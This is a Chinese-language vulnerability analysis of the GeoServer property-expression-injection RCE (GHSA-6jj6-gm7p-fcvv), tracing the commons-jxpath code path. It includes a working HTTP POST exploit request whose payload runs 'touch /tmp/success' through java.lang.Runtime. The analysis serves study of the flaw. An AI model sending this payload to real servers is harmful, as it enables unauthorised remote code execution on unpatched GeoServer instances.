GeoServer_property_expression_injection
简单介绍
https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
GeoServer是一款开源的地理数据服务器软件,主要用于发布、共享和处理各种地理空间数据。它支持众多的地图和空间数据标准,能够使各种设备通过网络来浏览和使用这些地理信息数据。
GeoServer2.23.6、2.24.4和2.25.2之前版本存在远程代码执行漏洞,该漏洞源于Geoserver使用的第三方库GeoTool因为使用了不安全的commons-jxpath 引擎处理xpath语句导致未授权能够通过发送各类OGC请求控制了复杂的xpath表达式并注入恶意代码从而rce。
环境搭建
https://sourceforge.net/projects/geoserver/files/GeoServer/2.25.1/geoserver-2.25.1-bin.zip/download
也可以使用p神的环境直接远程调试就好了
漏洞复现
发送post请求
POST /geoserver/wfs HTTP/1.1
Host: 192.168.177.146:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 355
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success')</wfs:valueReference>
</wfs:GetPropertyValue>
会报错,正常的
漏洞分析
我们知道漏洞的根源是在于commons-jxpath ,根据发送的公告
没有提供公开的 PoC,但已确认可通过 WFS GetFeature、WFS GetPropertyValue、WMS GetMap、WMS GetFeatureInfo、WMS GetLegendGraphic 和 WPS Execute 请求利用此漏洞。
我们看看为什么是这些请求,这些请求是干嘛的
WFS 请求:GoServer 通过 WFS 实现矢量数据的查询和操作。用户可以通过 GetFeature 请求查询和下载地理特征数据,也可以使用 GetPropertyValue 仅提取感兴趣的属性信息。
WMS 请求:GoServer 使用 WMS 服务生成地图图像,并通过 GetMap 返回给用户。GetFeatureInfo 提供了一种交互方式,让用户能够获取地图上特定位置的详细信息。GetLegendGraphic 则用于生成地图的图例,帮助用户理解地图内容。
WPS 请求:GoServer 可以通过 WPS Execute 提供空间数据处理服务,允许用户通过简单的网络请求执行复杂的空间分析,而无需自己编写处理逻辑或消耗本地计算资源。
起始在于这些请求
我们从WFS GetPropertyValue请求分析,会经过handleRequestInternal:268, Dispatcher (org.geoserver.ows)方法调用到getPropertyValue方法
请求体如下
可以看到实例化GetPropertyValue对象后调用run方法
public ValueCollectionType getPropertyValue(GetPropertyValueType request) throws WFSException {
return new GetPropertyValue(getServiceInfo(), getCatalog(), filterFactory).run(request);
}
来到run方法
这里拆开方法来讲
if (request.getValueReference() == null) {
throw new WFSException(request, "No valueReference specified", "MissingParameterValue")
.locator("valueReference");
} else if ("".equals(request.getValueReference().trim())) {
throw new WFSException(
request,
"ValueReference cannot be empty",
ServiceException.INVALID_PARAMETER_VALUE)
.locator("valueReference");
}
首先确保我们的value的值不能为空的,
然后
// do a getFeature request
GetFeatureType getFeature = Wfs20Factory.eINSTANCE.createGetFeatureType();
getFeature.setBaseUrl(request.getBaseUrl());
getFeature.getAbstractQueryExpression().add(request.getAbstractQueryExpression());
getFeature.setResolve(request.getResolve());
getFeature.setResolveDepth(request.getResolveDepth());
getFeature.setResolveTimeout(request.getResolveTimeout());
getFeature.setCount(request.getCount());
是在构建GetFeature
请求,WFS 的基础请求,用于查询地理要素。通过 GetPropertyValue
请求,用户实际上是在请求特定地理特征中的某个属性的值,所以这里需要构建一个完整的 GetFeature
请求。
然后这里就是在执行GetFeature请求
FeatureCollectionType fc =
(FeatureCollectionType)
delegate.run(GetFeatureRequest.adapt(getFeature)).getAdaptee();
这里可以发现是在获取一些查询的信息了
QueryType query = (QueryType) request.getAbstractQueryExpression();
QName typeName = (QName) query.getTypeNames().iterator().next();
FeatureTypeInfo featureType =
catalog.getFeatureTypeByName(typeName.getNamespaceURI(), typeName.getLocalPart());
下面是重点部分
这里就是在根据我们的信息进行处理了
PropertyName propertyName =
filterFactory.property(request.getValueReference(), getNamespaceSupport());
PropertyName propertyNameNoIndexes =
filterFactory.property(
request.getValueReference().replaceAll("\\[.*\\]", ""),
getNamespaceSupport());
AttributeDescriptor descriptor =
(AttributeDescriptor)
propertyNameNoIndexes.evaluate(featureType.getFeatureType());
boolean featureIdRequest =
FEATURE_ID_PATTERN.matcher(request.getValueReference()).matches();
if (descriptor == null && !featureIdRequest) {
throw new WFSException(
request, "No such attribute: " + request.getValueReference());
}
处理的逻辑是在evaluate方法
一路重载到AttributeExpressionImpl.java类的evaluate方法,这个方法就是用于通过属性访问器从给定对象中提取属性值。也就是我们
这里是使用lastAccessor,也就是缓存的,看看能不能访问到,不能走到下面的逻辑
PropertyAccessor accessor = lastAccessor;
if (accessor != null && accessor.canHandle(obj, attPath, target)) {
try {
value = accessor.get(obj, attPath, target);
success = true;
} catch (Exception e) {
// fine, we'll try another accessor
}
}
这里就是用其他的访问器去寻找属性。PropertyAccessors.findPropertyAccessors()方法是主要逻辑,根据对象、属性路径(attPath
)和目标类型寻找其他合适的 PropertyAccessor
if (!success) {
if (namespaceSupport != null && hints == null) {
hints = new Hints(PropertyAccessorFactory.NAMESPACE_CONTEXT, namespaceSupport);
}
List<PropertyAccessor> accessors =
PropertyAccessors.findPropertyAccessors(obj, attPath, target, hints);
List<Exception> exceptions = null;
if (accessors != null) {
for (PropertyAccessor propertyAccessor : accessors) {
accessor = propertyAccessor;
try {
value = accessor.get(obj, attPath, target);
success = true;
break;
} catch (Exception e) {
// fine, we'll try another accessor
if (exceptions == null) {
exceptions = new ArrayList<>();
}
exceptions.add(e);
}
}
}
找到后就使用get方法去提取属性值了
这里找到的属性是
get:271, FeaturePropertyAccessorFactory$FeaturePropertyAccessor (org.geotools.data.complex.expression)
方法如下
public <T> T get(Object object, String xpath, Class<T> target)
throws IllegalArgumentException {
JXPathContext context =
JXPathUtils.newSafeContext(object, false, this.namespaces, true);
Iterator it = context.iteratePointers(xpath);
List results = new ArrayList<>();
while (it.hasNext()) {
Pointer pointer = (Pointer) it.next();
if (pointer instanceof AttributeNodePointer) {
results.add(((AttributeNodePointer) pointer).getImmediateAttribute());
} else {
results.add(pointer.getValue());
}
}
if (results.isEmpty()) {
throw new IllegalArgumentException("x-path gives no results.");
} else if (results.size() == 1) {
return (T) results.get(0);
} else {
return (T) results;
}
}
重点是在iteratePointers方法
观察调用栈就明白了
会在commons-jxpath:commons-jxpath进行解析,对我们的输入进行恶意的调用
一路回到
public Object computeValue(EvalContext context) {
Object[] parameters = null;
if (args != null) {
parameters = new Object[args.length];
for (int i = 0; i < args.length; i++) {
parameters[i] = convert(args[i].compute(context));
}
}
Function function =
context.getRootContext().getFunction(functionName, parameters);
if (function == null) {
throw new JXPathFunctionNotFoundException("No such function: "
+ functionName + Arrays.asList(parameters));
}
Object result = function.invoke(context, parameters);
return result instanceof NodeSet ? new NodeSetContext(context,
(NodeSet) result) : result;
}
重点会function.invoke(context, parameters)
调用invoke方法
public Object invoke(ExpressionContext context, Object[] parameters) {
try {
Object target;
Object[] args;
if (Modifier.isStatic(method.getModifiers())) {
target = null;
if (parameters == null) {
parameters = EMPTY_ARRAY;
}
int pi = 0;
Class[] types = method.getParameterTypes();
if (types.length >= 1
&& ExpressionContext.class.isAssignableFrom(types[0])) {
pi = 1;
}
args = new Object[parameters.length + pi];
if (pi == 1) {
args[0] = context;
}
for (int i = 0; i < parameters.length; i++) {
args[i + pi] =
TypeUtils.convert(parameters[i], types[i + pi]);
}
}
else {
int pi = 0;
Class[] types = method.getParameterTypes();
if (types.length >= 1
&& ExpressionContext.class.isAssignableFrom(types[0])) {
pi = 1;
}
target =
TypeUtils.convert(
parameters[0],
method.getDeclaringClass());
args = new Object[parameters.length - 1 + pi];
if (pi == 1) {
args[0] = context;
}
for (int i = 1; i < parameters.length; i++) {
args[pi + i - 1] =
TypeUtils.convert(parameters[i], types[i + pi - 1]);
}
}
return method.invoke(target, args);
}
catch (Throwable ex) {
if (ex instanceof InvocationTargetException) {
ex = ((InvocationTargetException) ex).getTargetException();
}
throw new JXPathInvalidAccessException("Cannot invoke " + method,
ex);
}
}
判断我们的方法类型后调用方法对应的invoke方法
这个是当时我在windwos环境的图
最后再来解释一下paylaod
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success')</wfs:valueReference>
</wfs:GetPropertyValue>
typeNames
属性指定了要查询的要素类型
valueReference
元素指定了需要提取的具体属性路径,通常是一个xpath表达式